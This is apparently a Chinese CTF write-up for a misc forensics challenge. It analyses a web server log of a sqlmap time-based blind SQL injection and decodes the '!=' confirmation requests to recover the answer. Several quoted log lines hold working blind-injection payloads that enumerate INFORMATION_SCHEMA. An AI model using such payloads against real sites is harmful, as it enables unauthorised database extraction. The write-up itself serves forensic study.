首先我们得到了一个文件,用hex editor看一下发现是个压缩文件,解压后得到一个log文件!用notepad打开发现是一个日志文件!
我们看2696行解密发现 AND 8366=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x74657374),1,1))>51),SLEEP(5),8366) 而且后面确实sleep了5秒,table_name=users ,table_schema=test!虽然没什么用其实,但是稍微分析一下!
然后我们具体看一下是怎么爆破的,分析后明白是二分爆破!而且很有特点!!!就是在爆破完成后有!= 如下!!!
192.168.52.1 - - [06/Nov/2015:19:13:15 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>64),SLEEP(5),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:35 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>96),SLEEP(5),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:35 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>112),SLEEP(5),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:40 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>104),SLEEP(5),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:40 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>108),SLEEP(1),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:40 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>106),SLEEP(1),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:40 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>105),SLEEP(1),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:40 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))!=105),SLEEP(1),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"那么索性搜索!=的位置(注意要转换成url的形势!%21%3d)用nodepad提取出来!得到了150条记录,然后我们可以通过序号数或者网址大概长短的相似看出来哪些是一组的,不够没关系,都解出来,爆破!
虽然很丑,但是在格式明确的情况下还是可以辨认出来的!!
答案就出来了!!!
新闻热点
疑难解答